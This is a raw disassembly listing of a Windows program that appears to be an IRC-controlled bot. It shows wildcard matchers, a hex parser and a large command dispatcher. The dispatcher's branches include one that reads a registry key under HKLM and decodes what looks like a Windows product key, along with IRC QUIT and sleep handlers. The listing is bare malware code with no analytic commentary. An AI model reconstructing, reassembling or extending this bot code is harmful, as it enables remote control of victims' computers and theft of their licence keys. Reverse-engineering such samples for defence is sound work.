jl short loc_4078DD
cmp dl, 39h
jle short loc_4078E2
loc_4078DD: ; CODE XREF: sub_4078A3+33j
cmp dl, 23h
jnz short loc_407906
loc_4078E2: ; CODE XREF: sub_4078A3+24j
; sub_4078A3+29j ...
inc eax
inc esi
jmp short loc_4078AD
; ---------------------------------------------------------------------------
loc_4078E6: ; CODE XREF: sub_4078A3+14j
; sub_4078A3+5Aj
mov al, 1
jmp short loc_407908
; ---------------------------------------------------------------------------
loc_4078EA: ; CODE XREF: sub_4078A3+2Ej
cmp byte ptr [eax], 2Ah
jnz short loc_407906
lea edi, [eax+1]
loc_4078F2: ; CODE XREF: sub_4078A3+61j
push edi
push esi
call sub_4078A3
pop ecx
test al, al
pop ecx
jnz short loc_4078E6
cmp [esi], al
jz short loc_407906
inc esi
jmp short loc_4078F2
; ---------------------------------------------------------------------------
loc_407906: ; CODE XREF: sub_4078A3+19j
; sub_4078A3+20j ...
xor al, al
loc_407908: ; CODE XREF: sub_4078A3+45j
pop edi
pop esi
retn
sub_4078A3 endp
; =============== S U B R O U T I N E =======================================
sub_40790B proc near ; CODE XREF: sub_406EA9+A5p
; sub_406F84+D0p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
loc_407916: ; CODE XREF: sub_40790B+1Dj
; sub_40790B+61j
mov cl, [esi]
test cl, cl
jnz short loc_40792A
mov cl, [eax]
test cl, cl
jz short loc_40796E
cmp cl, 2Ah
jnz short loc_40798E
inc eax
jmp short loc_407916
; ---------------------------------------------------------------------------
loc_40792A: ; CODE XREF: sub_40790B+Fj
mov dl, [eax]
test dl, dl
jz short loc_40798E
cmp cl, dl
jz short loc_40796A
cmp cl, 41h
jl short loc_40793E
cmp cl, 5Ah
jle short loc_407948
loc_40793E: ; CODE XREF: sub_40790B+2Cj
cmp cl, 61h
jl short loc_407951
cmp cl, 7Ah
jg short loc_407951
loc_407948: ; CODE XREF: sub_40790B+31j
mov bl, cl
xor bl, 20h
cmp bl, dl
jz short loc_40796A
loc_407951: ; CODE XREF: sub_40790B+36j
; sub_40790B+3Bj
cmp dl, 3Fh
jz short loc_40796A
cmp dl, 23h
jnz short loc_407972
cmp cl, 30h
jl short loc_407965
cmp cl, 39h
jle short loc_40796A
loc_407965: ; CODE XREF: sub_40790B+53j
cmp cl, 23h
jnz short loc_40798E
loc_40796A: ; CODE XREF: sub_40790B+27j
; sub_40790B+44j ...
inc eax
inc esi
jmp short loc_407916
; ---------------------------------------------------------------------------
loc_40796E: ; CODE XREF: sub_40790B+15j
; sub_40790B+7Aj
mov al, 1
jmp short loc_407990
; ---------------------------------------------------------------------------
loc_407972: ; CODE XREF: sub_40790B+4Ej
cmp byte ptr [eax], 2Ah
jnz short loc_40798E
lea edi, [eax+1]
loc_40797A: ; CODE XREF: sub_40790B+81j
push edi
push esi
call sub_40790B
pop ecx
test al, al
pop ecx
jnz short loc_40796E
cmp [esi], al
jz short loc_40798E
inc esi
jmp short loc_40797A
; ---------------------------------------------------------------------------
loc_40798E: ; CODE XREF: sub_40790B+1Aj
; sub_40790B+23j ...
xor al, al
loc_407990: ; CODE XREF: sub_40790B+65j
pop edi
pop esi
pop ebx
retn
sub_40790B endp
; =============== S U B R O U T I N E =======================================
sub_407994 proc near ; CODE XREF: sub_4079AC+A4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push 1
test ecx, ecx
pop eax
jz short locret_4079AB
cmp ecx, eax
jl short locret_4079AB
loc_4079A3: ; CODE XREF: sub_407994+15j
imul eax, [esp+arg_0]
dec ecx
jnz short loc_4079A3
locret_4079AB: ; CODE XREF: sub_407994+9j
; sub_407994+Dj
retn
sub_407994 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4079AC proc near ; CODE XREF: sub_40495C+27p
; sub_407A76+EDCp ...
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov esi, offset aAbcdef ; "abcdef"
lea edi, [ebp+var_18]
xor ebx, ebx
movsd
movsw
movsb
mov esi, [ebp+arg_0]
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
cmp byte ptr [esi], 30h
jnz short loc_4079E2
mov al, [esi+1]
push 1
cmp al, 78h
pop ebx
jz short loc_4079DF
cmp al, 58h
jnz short loc_4079E2
loc_4079DF: ; CODE XREF: sub_4079AC+2Dj
push 2
pop ebx
loc_4079E2: ; CODE XREF: sub_4079AC+23j
; sub_4079AC+31j
push esi
call sub_4114BE ; strlen
mov edi, eax
pop ecx
cmp ebx, edi
mov [ebp+var_10], edi
mov [ebp+arg_0], ebx
jge short loc_407A6A
sub edi, ebx
dec edi
loc_4079F8: ; CODE XREF: sub_4079AC+BCj
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+esi]
push eax
call sub_411784 ; tolower
cmp eax, 30h
pop ecx
mov [ebp+var_C], eax
jl short loc_407A1B
cmp eax, 39h
jg short loc_407A1B
add eax, 0FFFFFFD0h
mov [ebp+var_4], eax
jmp short loc_407A4D
; ---------------------------------------------------------------------------
loc_407A1B: ; CODE XREF: sub_4079AC+60j
; sub_4079AC+65j
cmp eax, 61h
jl short loc_407A72
cmp eax, 66h
jg short loc_407A72
mov dl, [ebp+var_18]
test dl, dl
jz short loc_407A4D
push 0Ah
lea eax, [ebp+var_18]
pop ebx
lea ecx, [ebp+var_18]
sub ebx, eax
loc_407A37: ; CODE XREF: sub_4079AC+9Fj
movsx eax, dl
cmp [ebp+var_C], eax
jnz short loc_407A45
lea eax, [ebx+ecx]
mov [ebp+var_4], eax
loc_407A45: ; CODE XREF: sub_4079AC+91j
mov dl, [ecx+1]
inc ecx
test dl, dl
jnz short loc_407A37
loc_407A4D: ; CODE XREF: sub_4079AC+6Dj
; sub_4079AC+7Ej
push edi
push 10h
call sub_407994
imul eax, [ebp+var_4]
add [ebp+var_8], eax
inc [ebp+arg_0]
mov eax, [ebp+arg_0]
pop ecx
dec edi
cmp eax, [ebp+var_10]
pop ecx
jl short loc_4079F8
loc_407A6A: ; CODE XREF: sub_4079AC+47j
mov eax, [ebp+var_8]
loc_407A6D: ; CODE XREF: sub_4079AC+C8j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_407A72: ; CODE XREF: sub_4079AC+72j
; sub_4079AC+77j
xor eax, eax
jmp short loc_407A6D
sub_4079AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407A76 proc near ; CODE XREF: sub_409918+911p
var_59E4 = byte ptr -59E4h
var_19E4 = byte ptr -19E4h
var_9E4 = byte ptr -9E4h
var_5E0 = byte ptr -5E0h
var_560 = byte ptr -560h
var_3E3 = byte ptr -3E3h
var_3E0 = byte ptr -3E0h
var_364 = byte ptr -364h
var_328 = byte ptr -328h
var_2F4 = byte ptr -2F4h
var_260 = byte ptr -260h
var_22C = byte ptr -22Ch
var_228 = byte ptr -228h
var_208 = byte ptr -208h
var_1E7 = byte ptr -1E7h
var_E7 = dword ptr -0E7h
var_E3 = byte ptr -0E3h
var_7D = byte ptr -7Dh
var_6F = byte ptr -6Fh
var_6C = byte ptr -6Ch
var_69 = dword ptr -69h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_5B = byte ptr -5Bh
var_56 = byte ptr -56h
var_51 = byte ptr -51h
var_4C = byte ptr -4Ch
var_47 = byte ptr -47h
var_40 = byte ptr -40h
var_3B = byte ptr -3Bh
var_3A = byte ptr -3Ah
var_35 = byte ptr -35h
var_34 = byte ptr -34h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_29 = byte ptr -29h
var_28 = byte ptr -28h
var_23 = byte ptr -23h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = byte ptr -0Ah
var_9 = byte ptr -9
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
mov eax, 59E4h
call sub_411540
push ebx
push esi
mov esi, [ebp+arg_14]
push edi
push dword ptr [esi]
call sub_40A64A
push [ebp+arg_0]
mov edi, eax
lea eax, [ebp+var_208]
push eax
call sub_4114B8 ; _mbscpy
push [ebp+arg_8]
lea eax, [ebp+var_1E7]
push eax
call sub_4114B8 ; _mbscpy
mov eax, [ebp+arg_C]
push 7Ah
push [ebp+arg_10]
mov [ebp+var_E7], eax
lea eax, [ebp+var_E3]
push eax
call sub_4114D0 ; memcpy
add esp, 20h
cmp edi, dword_414F20
push 1
pop eax
mov [ebp+var_69], eax
jnz short loc_407AEC
lea eax, [ebp+var_208]
push eax
call sub_41094B
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_407AEC: ; CODE XREF: sub_407A76+63j
cmp edi, dword_414F14
jnz short loc_407B31
mov eax, [esi+4]
test eax, eax
jnz short loc_407B25
lea eax, [ebp+var_22C]
push eax
lea eax, [ebp+var_64]
push eax
lea eax, [ebp+var_40]
push eax
call sub_404A70
add esp, 0Ch
lea eax, [ebp+var_40]
push eax
loc_407B16: ; CODE XREF: sub_407A76+B9j
push offset dword_414F0C
loc_407B1B: ; CODE XREF: sub_407A76+A7Bj
; sub_407A76+BABj
call sub_4097DB
jmp loc_408D2E
; ---------------------------------------------------------------------------
loc_407B25: ; CODE XREF: sub_407A76+83j
push eax
call sub_4098C7
pop ecx
push dword ptr [esi+4]
jmp short loc_407B16
; ---------------------------------------------------------------------------
loc_407B31: ; CODE XREF: sub_407A76+7Cj
cmp edi, dword_414F00
jnz short loc_407B6B
lea eax, [ebp+var_5E0]
push 200h
push eax
call dword_4121F4
push eax
call dword_4121F0
test eax, eax
jle loc_408D69
lea eax, [ebp+var_5E0]
push eax
push offset dword_414EE4
jmp loc_40835E
; ---------------------------------------------------------------------------
loc_407B6B: ; CODE XREF: sub_407A76+C1j
cmp edi, dword_414ED8
jnz short loc_407B8A
push dword ptr [esi+8]
lea eax, [ebp+var_208]
push dword ptr [esi+4]
push eax
call sub_4057ED
jmp loc_40836A
; ---------------------------------------------------------------------------
loc_407B8A: ; CODE XREF: sub_407A76+FBj
cmp edi, dword_414ECC
jnz loc_407C5E
mov eax, [ebp+arg_18]
xor ebx, ebx
mov eax, [eax+4]
cmp eax, ebx
jz loc_408D69
push 180h
push eax
lea eax, [ebp+var_3E0]
push eax
call sub_4059C2
lea eax, [ebp+var_3E0]
push eax
call sub_4114BE ; strlen
mov esi, eax
add esp, 10h
cmp esi, 3
jle short loc_407C04
lea edi, [ebp+esi+var_3E3]
push offset dword_414EC8
push edi
call sub_41177E ; strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_407C04
lea eax, [ebp+var_3E0]
mov [edi], bl
push eax
call sub_4058B8
lea eax, [ebp+var_3E0]
push eax
call sub_4114BE ; strlen
pop ecx
mov esi, eax
pop ecx
loc_407C04: ; CODE XREF: sub_407A76+156j
; sub_407A76+16Ej
mov eax, esi
push 4
cdq
pop ecx
idiv ecx
mov ecx, esi
sub ecx, eax
cmp ecx, 180h
ja loc_408D69
lea eax, [ebp+var_3E0]
push esi
push eax
call sub_40A798
lea eax, [ebp+var_3E0]
push esi
push eax
call sub_40A7C4
push eax
lea eax, [ebp+var_560]
push eax
lea eax, [ebp+var_3E0]
push eax
call sub_40A51A
add esp, 1Ch
lea eax, [ebp+var_560]
push eax
push offset dword_414EA4
jmp loc_40835E
; ---------------------------------------------------------------------------
loc_407C5E: ; CODE XREF: sub_407A76+11Aj
cmp edi, dword_414E98
jnz loc_407CFC
mov esi, [ebp+arg_18]
xor ebx, ebx
mov eax, [esi+4]
cmp eax, ebx
jz loc_408D69
cmp byte ptr [eax], 3Dh
jnz loc_408D69
inc eax
push eax
call sub_40A5D0
test eax, eax
pop ecx
jz loc_408D69
mov eax, [esi+4]
inc eax
push eax
call sub_4114BE ; strlen
pop ecx
mov ecx, eax
push 4
cdq
pop edi
idiv edi
sub ecx, eax
cmp ecx, 180h
ja loc_408D69
lea eax, [ebp+var_3E0]
push eax
mov eax, [esi+4]
inc eax
push eax
call sub_40A44E
push eax
lea eax, [ebp+var_3E0]
push eax
call sub_40A82E
mov esi, eax
lea eax, [ebp+var_3E0]
push esi
push eax
call sub_40A7AE
add esp, 18h
lea eax, [ebp+var_3E0]
mov [ebp+esi+var_3E0], bl
push eax
push offset dword_414E78
jmp loc_40835E
; ---------------------------------------------------------------------------
loc_407CFC: ; CODE XREF: sub_407A76+1EEj
cmp edi, dword_414E68
jnz short loc_407D18
push dword ptr [esi+4]
lea eax, [ebp+var_208]
push eax
call sub_404A33
jmp loc_408D2E
; ---------------------------------------------------------------------------
loc_407D18: ; CODE XREF: sub_407A76+28Cj
cmp edi, dword_414E58
jnz short loc_407D31
lea eax, [ebp+var_208]
push eax
call sub_40491E
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_407D31: ; CODE XREF: sub_407A76+2A8j
cmp edi, dword_414E50
jnz loc_407EE1
push 0Ch
mov esi, offset dword_414E1C
pop ecx
lea edi, [ebp+var_260]
rep movsd
movsb
push 5
mov esi, offset dword_414E04
pop ecx
lea edi, [ebp+var_18]
rep movsd
lea eax, [ebp+var_260]
xor ebx, ebx
push eax
mov [ebp+arg_18], ebx
mov [ebp+arg_8], 0C8h
movsb
call sub_40B5E1
pop ecx
lea eax, [ebp+arg_18]
push eax
push 20019h
lea eax, [ebp+var_260]
push ebx
push eax
push 80000002h
call dword_412000
test eax, eax
lea eax, [ebp+var_260]
push eax
jnz short loc_407DCE
call sub_40B5A8
lea eax, [ebp+var_18]
push eax
call sub_40B5E1
pop ecx
lea eax, [ebp+arg_8]
pop ecx
push eax
lea eax, [ebp+var_328]
push eax
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
push [ebp+arg_18]
call dword_41200C
test eax, eax
lea eax, [ebp+var_18]
push eax
jz short loc_407DEB
loc_407DCE: ; CODE XREF: sub_407A76+324j
call sub_40B5A8
cmp [ebp+arg_18], ebx
pop ecx
jz loc_408D69
push [ebp+arg_18]
call dword_412028
jmp loc_408D69
; ---------------------------------------------------------------------------
loc_407DEB: ; CODE XREF: sub_407A76+356j
call sub_40B5A8
pop ecx
push [ebp+arg_18]
call dword_412028
push 7
mov esi, offset dword_414DE4
pop ecx
lea edi, [ebp+var_228]
rep movsd
lea eax, [ebp+var_228]
push eax
movsb
call sub_40B5E1
pop ecx
mov [ebp+var_47], bl
mov [ebp+arg_0], 18h
loc_407E22: ; CODE XREF: sub_407A76+3F0j
xor edx, edx
mov [ebp+arg_14], 0Eh
loc_407E2B: ; CODE XREF: sub_407A76+3DDj
mov eax, [ebp+arg_14]
mov ecx, edx
shl ecx, 8
lea esi, [ebp+eax+var_2F4]
push 18h
pop edi
movzx eax, byte ptr [esi]
add ecx, eax
push edi
mov eax, ecx
cdq
idiv edi
mov [esi], al
mov eax, ecx
cdq
pop ecx
idiv ecx
dec [ebp+arg_14]
jns short loc_407E2B
mov ecx, [ebp+arg_0]
mov al, [ebp+edx+var_228]
dec [ebp+arg_0]
mov [ebp+ecx+var_60], al
jns short loc_407E22
lea eax, [ebp+var_228]
push eax
call sub_40B5A8
push 5
lea eax, [ebp+var_60]
pop esi
mov [ebp+var_23], bl
push esi
push eax
lea eax, [ebp+var_40]
mov [ebp+var_29], 2Dh
push eax
mov [ebp+var_2F], 2Dh
mov [ebp+var_35], 2Dh
mov [ebp+var_3B], 2Dh
call sub_4114D0 ; memcpy
lea eax, [ebp+var_5B]
push esi
push eax
lea eax, [ebp+var_3A]
push eax
call sub_4114D0 ; memcpy
lea eax, [ebp+var_56]
push esi
push eax
lea eax, [ebp+var_34]
push eax
call sub_4114D0 ; memcpy
lea eax, [ebp+var_51]
push esi
push eax
lea eax, [ebp+var_2E]
push eax
call sub_4114D0 ; memcpy
lea eax, [ebp+var_4C]
push esi
push eax
lea eax, [ebp+var_28]
push eax
call sub_4114D0 ; memcpy
add esp, 40h
lea eax, [ebp+var_40]
push eax
push offset dword_413B6C
jmp loc_40835E
; ---------------------------------------------------------------------------
loc_407EE1: ; CODE XREF: sub_407A76+2C1j
cmp edi, dword_414DD4
jnz short loc_407F31
xor ebx, ebx
mov [ebp+var_6C], 1
cmp [ebp+var_7D], bl
jz short loc_407F05
lea eax, [ebp+var_208]
push eax
call sub_40DE4C
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_407F05: ; CODE XREF: sub_407A76+47Cj
cmp [ebp+var_6F], bl
lea eax, [ebp+var_208]
push eax
jz short loc_407F1B
call sub_40E243
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_407F1B: ; CODE XREF: sub_407A76+499j
call sub_40DE4C
lea eax, [ebp+var_208]
push eax
call sub_40E243
jmp loc_408D2E
; ---------------------------------------------------------------------------
loc_407F31: ; CODE XREF: sub_407A76+471j
cmp edi, dword_414DC4
jnz short loc_407F4A
lea eax, [ebp+var_208]
push eax
call sub_4101AE
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_407F4A: ; CODE XREF: sub_407A76+4C1j
cmp edi, dword_414DB8
jnz loc_407FDA
push 8
mov esi, offset dword_414D94
pop ecx
lea edi, [ebp+var_40]
rep movsd
movsb
mov edx, off_418E20
mov esi, offset dword_414D8C
lea edi, [ebp+var_C]
xor eax, eax
movsd
movsw
mov cl, [ebp+var_C]
mov edi, offset dword_414D80
cmp cl, [edx]
setz al
xor ebx, ebx
cmp eax, ebx
jnz short loc_407F8F
mov edi, offset dword_414D70
loc_407F8F: ; CODE XREF: sub_407A76+512j
cmp eax, ebx
mov esi, offset aThisBuildIsFul ; "This build is fully functional"
jnz short loc_407F9D
mov esi, offset aThisBuildIsBro ; "This build is broken and will not funct"...
loc_407F9D: ; CODE XREF: sub_407A76+520j
lea eax, [ebp+var_40]
push eax
call sub_40B5E1
mov eax, dword_419FD0
pop ecx
push esi
and eax, 0FFFFh
push edi
push eax
movzx eax, byte ptr dword_418E00
push eax
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_208]
push eax
call sub_4096CB
lea eax, [ebp+var_40]
push eax
call sub_40B5A8
jmp loc_40898E
; ---------------------------------------------------------------------------
loc_407FDA: ; CODE XREF: sub_407A76+4DAj
cmp edi, dword_414D10
jnz short loc_408002
push dword ptr [esi+14h]
lea eax, [ebp+var_208]
push dword ptr [esi+10h]
push dword ptr [esi+0Ch]
push dword ptr [esi+8]
push dword ptr [esi+4]
push eax
call sub_4044AA
jmp loc_408235
; ---------------------------------------------------------------------------
loc_408002: ; CODE XREF: sub_407A76+56Aj
cmp edi, dword_414D04
jnz short loc_408026
mov eax, [ebp+arg_18]
add esi, 4
add eax, 4
push eax
lea eax, [ebp+var_208]
push esi
push eax
call sub_4111DB
jmp loc_40836A
; ---------------------------------------------------------------------------
loc_408026: ; CODE XREF: sub_407A76+592j
cmp edi, dword_414CF8
jz loc_408D5D
cmp edi, dword_414CEC
jz loc_408D5D
cmp edi, dword_414CDC
jnz short loc_40805D
push dword ptr [esi+8]
lea eax, [ebp+var_208]
push dword ptr [esi+4]
push eax
call sub_4027CB
jmp loc_40836A
; ---------------------------------------------------------------------------
loc_40805D: ; CODE XREF: sub_407A76+5CEj
cmp edi, dword_414CD0
jnz short loc_40807F
mov eax, [ebp+arg_18]
push dword ptr [eax+8]
lea eax, [ebp+var_208]
push dword ptr [esi+4]
push eax
call sub_401FA3
jmp loc_40836A
; ---------------------------------------------------------------------------
loc_40807F: ; CODE XREF: sub_407A76+5EDj
cmp edi, dword_414CC0
jnz short loc_4080A1
push dword ptr [esi+0Ch]
lea eax, [ebp+var_208]
push dword ptr [esi+8]
push dword ptr [esi+4]
push eax
call sub_40495C
jmp loc_408A9C
; ---------------------------------------------------------------------------
loc_4080A1: ; CODE XREF: sub_407A76+60Fj
cmp edi, dword_414CB0
jnz short loc_4080C3
mov eax, [ebp+arg_18]
push dword ptr [eax+8]
lea eax, [ebp+var_208]
push dword ptr [esi+4]
push eax
call sub_4110B4
jmp loc_40836A
; ---------------------------------------------------------------------------
loc_4080C3: ; CODE XREF: sub_407A76+631j
cmp edi, dword_414CA0
jnz short loc_4080F6
mov esi, [ebp+arg_18]
mov eax, [esi+4]
test eax, eax
jz loc_408D69
push eax
push 80000001h
call sub_401000
push dword ptr [esi+4]
push 80000002h
call sub_401000
jmp loc_408A9C
; ---------------------------------------------------------------------------
loc_4080F6: ; CODE XREF: sub_407A76+653j
cmp edi, dword_414C90
jnz short loc_40810E
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_40110A
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_40810E: ; CODE XREF: sub_407A76+686j
cmp edi, dword_414C84
jnz short loc_40812F
push 0
loc_408118: ; CODE XREF: sub_407A76+6C2j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_208]
push eax
call sub_4014B0
jmp loc_40836A
; ---------------------------------------------------------------------------
loc_40812F: ; CODE XREF: sub_407A76+69Ej
cmp edi, dword_414C78
jnz short loc_40813A
push eax
jmp short loc_408118
; ---------------------------------------------------------------------------
loc_40813A: ; CODE XREF: sub_407A76+6BFj
cmp edi, dword_414C6C
jnz short loc_408153
lea eax, [ebp+var_208]
push eax
call sub_40719C
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_408153: ; CODE XREF: sub_407A76+6CAj
cmp edi, dword_414C64
jnz short loc_40816A
push offset dword_41A2E8
push offset dword_414C54
jmp loc_40835E
; ---------------------------------------------------------------------------
loc_40816A: ; CODE XREF: sub_407A76+6E3j
cmp edi, dword_414C48
jnz short loc_408189
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_208]
push eax
call sub_40F6CD
jmp loc_408D2E
; ---------------------------------------------------------------------------
loc_408189: ; CODE XREF: sub_407A76+6FAj
cmp edi, dword_414C3C
jz loc_408D3D
cmp edi, dword_414C30
jz loc_408D3D
cmp edi, dword_414C24
jz loc_408D3D
cmp edi, dword_414C14
jnz short loc_4081C6
lea eax, [ebp+var_208]
push eax
call sub_40F7FD
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_4081C6: ; CODE XREF: sub_407A76+73Dj
cmp edi, dword_414C00
jnz short loc_408212
mov esi, [ebp+arg_18]
mov eax, [esi+4]
test eax, eax
jz short loc_4081FE
push eax
call sub_41115C
test eax, eax
pop ecx
jz loc_408D69
push 104h
push dword ptr [esi+4]
push offset dword_419FE0
call sub_4059C2
jmp loc_40836A
; ---------------------------------------------------------------------------
loc_4081FE: ; CODE XREF: sub_407A76+760j
push offset dword_419ECC
push offset dword_419FE0
loc_408208: ; CODE XREF: sub_407A76+902j
; sub_407A76+112Aj
call sub_4114B8 ; _mbscpy
jmp loc_408D2E
; ---------------------------------------------------------------------------
loc_408212: ; CODE XREF: sub_407A76+756j
cmp edi, dword_414BF0
jnz short loc_40823D
push dword ptr [esi+14h]
lea eax, [ebp+var_208]
push dword ptr [esi+10h]
push dword ptr [esi+0Ch]
push dword ptr [esi+8]
push dword ptr [esi+4]
push eax
call sub_40FBA7
loc_408235: ; CODE XREF: sub_407A76+587j
; sub_407A76+12E2j
add esp, 18h
jmp loc_408D69
; ---------------------------------------------------------------------------
loc_40823D: ; CODE XREF: sub_407A76+7A2j
cmp edi, dword_414BE8
jnz loc_4082EA
mov esi, [ebp+arg_18]
xor ebx, ebx
mov eax, [esi+4]
cmp eax, ebx
jz loc_408D69
push eax
call sub_4114BE ; strlen
shl eax, 1
push eax
call sub_4114C4 ; malloc
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_408D69
push dword ptr [esi+4]
call sub_4114BE ; strlen
push eax
push edi
push dword ptr [esi+4]
call sub_40A51A
add esp, 10h
lea eax, [ebp+var_208]
push edi
push offset dword_414BCC
push eax
call sub_4096CB
push edi
call sub_4114CA ; free
mov esi, 1000h
lea eax, [ebp+var_19E4]
push esi
push eax
call sub_40B4D9
add esp, 18h
call sub_4114E2 ; clock
mov ebx, eax
mov edi, 186A0h
loc_4082C1: ; CODE XREF: sub_407A76+863j
lea eax, [ebp+var_59E4]
push esi
push eax
lea eax, [ebp+var_19E4]
push eax
call sub_40A51A
add esp, 0Ch
dec edi
jnz short loc_4082C1
call sub_4114E2 ; clock
sub eax, ebx
push eax
push offset aItTookMeUms_ ; "It took me %ums."
jmp short loc_40835E
; ---------------------------------------------------------------------------
loc_4082EA: ; CODE XREF: sub_407A76+7CDj
cmp edi, dword_414BAC
jnz short loc_408345
mov edi, [ebp+arg_18]
xor ebx, ebx
mov eax, [edi+4]
cmp eax, ebx
jz loc_408D69
push eax
call sub_4114BE ; strlen
push eax
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_408D69
push esi
push dword ptr [edi+4]
call sub_40A44E
pop ecx
mov [eax+esi], bl
pop ecx
lea eax, [ebp+var_208]
push esi
push offset dword_414B90
push eax
call sub_4096CB
push esi
call sub_4114CA ; free
jmp loc_408A9C
; ---------------------------------------------------------------------------
loc_408345: ; CODE XREF: sub_407A76+87Aj
cmp edi, dword_414B80
jnz short loc_40837D
mov esi, [esi+4]
test esi, esi
jnz short loc_408372
push offset dword_41A2E8
push offset dword_414B6C
loc_40835E: ; CODE XREF: sub_407A76+F0j
; sub_407A76+1E3j ...
lea eax, [ebp+var_208]
push eax
call sub_4096CB
loc_40836A: ; CODE XREF: sub_407A76+10Fj
; sub_407A76+5ABj ...
add esp, 0Ch
jmp loc_408D69
; ---------------------------------------------------------------------------
loc_408372: ; CODE XREF: sub_407A76+8DCj
push esi
push offset dword_41A2E8
jmp loc_408208
; ---------------------------------------------------------------------------
loc_40837D: ; CODE XREF: sub_407A76+8D5j
cmp edi, dword_414B60
jnz short loc_408392
push dword ptr [esi+4]
call sub_406EA9
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_408392: ; CODE XREF: sub_407A76+90Dj
cmp edi, dword_414B54
jnz short loc_4083AE
push dword ptr [esi+4]
lea eax, [ebp+var_208]
push eax
call sub_4030A7
jmp loc_408D2E
; ---------------------------------------------------------------------------
loc_4083AE: ; CODE XREF: sub_407A76+922j
cmp edi, dword_414B44
jnz short loc_4083C3
push dword ptr [esi+4]
call sub_406F84
jmp loc_408D68
; ---------------------------------------------------------------------------
loc_4083C3: ; CODE XREF: sub_407A76+93Ej
cmp edi, dword_414B38
jnz short loc_4083E2
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_208]
push eax
call sub_404ACF
jmp loc_408D2E
; ---------------------------------------------------------------------------
loc_4083E2: ; CODE XREF: sub_407A76+953j
cmp edi, dword_414B28
jnz short loc_4083FE
push dword ptr [esi+4]
lea eax, [ebp+var_208]
push eax
call sub_40EA2F
jmp loc_408D2E
; ---------------------------------------------------------------------------
loc_4083FE: ; CODE XREF: sub_407A76+972j
cmp edi, dword_414B1C
jnz short loc_408423
push dword ptr [esi+10h]
lea eax, [ebp+var_208]
push dword ptr [esi+0Ch]
push dword ptr [esi+8]
push dword ptr [esi+4]
push eax
call sub_40756C
jmp loc_408CFA
; ---------------------------------------------------------------------------
loc_408423: ; CODE XREF: sub_407A76+98Ej
cmp edi, dword_414B10
jnz short loc_408442
push dword ptr [esi+8]
lea eax, [ebp+var_208]
push dword ptr [esi+4]
push eax
call sub_40780C
jmp loc_40836A
; ---------------------------------------------------------------------------
loc_408442: ; CODE XREF: sub_407A76+9B3j
cmp edi, dword_414B04
jnz short loc_408465
push offset dword_419ECC
push offset aQuitSRemoved_ ; "QUIT :%s removed."
call sub_4097DB
pop ecx
pop ecx
push 36EE80h
jmp loc_40851C
; ---------------------------------------------------------------------------
loc_408465: ; CODE XREF: sub_407A76+9D2j
cmp edi, dword_414AE4
jnz short loc_4084B3
mov eax, [esi+4]
xor ebx, ebx
cmp eax, ebx
jz loc_408D69
mov edi, offset dword_418E50
push eax
push edi
call sub_4114B8 ; _mbscpy
mov esi, [esi+8]
pop ecx
cmp esi, ebx
pop ecx
jnz short loc_408494
mov esi, offset byte_4191D0
loc_408494: ; CODE XREF: sub_407A76+A17j
push esi
mov esi, offset dword_41A0E8
push esi
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
push esi
push edi
loc_4084A4: ; CODE XREF: sub_407A76+A60j
push offset dword_414AD8
call sub_4097DB
jmp loc_40836A
; ---------------------------------------------------------------------------
loc_4084B3: ; CODE XREF: sub_407A76+9F5j
cmp edi, dword_414ACC
jnz short loc_4084D8
mov eax, [esi+4]
xor ebx, ebx
cmp eax, ebx
jz loc_408D69
mov esi, [esi+8]
cmp esi, ebx
jnz short loc_4084D4
mov esi, offset byte_4191D0
loc_4084D4: ; CODE XREF: sub_407A76+A57j
push esi
push eax
jmp short loc_4084A4
; ---------------------------------------------------------------------------
loc_4084D8: ; CODE XREF: sub_407A76+A43j
cmp edi, dword_414AC0
jnz short loc_4084F6
mov esi, [esi+4]
test esi, esi
jz loc_408D69
push esi
push offset dword_414AB8
jmp loc_407B1B
; ---------------------------------------------------------------------------
loc_4084F6: ; CODE XREF: sub_407A76+A68j
cmp edi, dword_414AAC
jnz short loc_408527
mov esi, [esi+4]
test esi, esi
jz loc_408D69
push esi
call sub_41151C ; atoi
cmp eax, 927C0h
pop ecx
jg loc_408D69
push eax
loc_40851C: ; CODE XREF: sub_407A76+9EAj
call dword_4120A4 ; Sleep
jmp loc_408D69
